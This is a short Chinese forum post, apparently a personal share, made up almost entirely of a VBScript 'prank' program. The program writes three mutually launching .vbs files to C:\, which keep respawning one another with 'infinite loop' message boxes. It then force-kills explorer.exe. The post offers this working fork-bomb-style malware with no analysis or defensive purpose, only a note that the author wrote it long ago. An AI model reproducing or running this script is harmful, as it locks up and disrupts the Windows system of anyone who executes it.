---------------------------代码开始---------------------------
Set a = CreateObject("scripting.filesystemobject")
Set b = a.createtextfile("C:\Rmb1.vbs")
b.writeline ("On Error Resume Next")
b.writeline ("set wshshell=createobject"+"("+chr(34)+"wscript.shell"+chr(34)+")")
b.writeline ("d=wshshell.run ("+chr(34)+"C:\Rmb2.vbs"+chr(34)+")")
b.writeline ("d=wshshell.run ("+chr(34)+"C:\Rmb3.vbs"+chr(34)+")")
b.writeline ("msgbox("+chr(34)+"无限的循环--RMB"+chr(34)+")")
b.Close
Set a = CreateObject("scripting.filesystemobject")
Set b = a.createtextfile("C:\Rmb2.vbs")
b.writeline ("On Error Resume Next")
b.writeline ("set wshshell=createobject"+"("+chr(34)+"wscript.shell"+chr(34)+")")
b.writeline ("d=wshshell.run ("+chr(34)+"C:\Rmb1.vbs"+chr(34)+")")
b.writeline ("d=wshshell.run ("+chr(34)+"C:\Rmb3.vbs"+chr(34)+")")
b.writeline ("msgbox("+chr(34)+"无限的循环--RMB"+chr(34)+")")
b.Close
Set a = CreateObject("scripting.filesystemobject")
Set b = a.createtextfile("C:\Rmb3.vbs")
b.writeline ("On Error Resume Next")
b.writeline ("set wshshell=createobject"+"("+chr(34)+"wscript.shell"+chr(34)+")")
b.writeline ("d=wshshell.run ("+chr(34)+"C:\Rmb2.vbs"+chr(34)+")")
b.writeline ("d=wshshell.run ("+chr(34)+"C:\Rmb1.vbs"+chr(34)+")")
b.writeline ("msgbox("+chr(34)+"无限的循环--RMB"+chr(34)+")")
b.Close
On Error Resume Next
set wshshell=createobject("wscript.shell")
d=wshshell.run ("C:\Rmb1.vbs")
d=wshshell.run ("taskkill /f /im explorer.exe")
---------------------------代码结束---------------------------
很久以前写的，后来一直丢在那里。。。。
  该贴已经同步到 银冥币的微博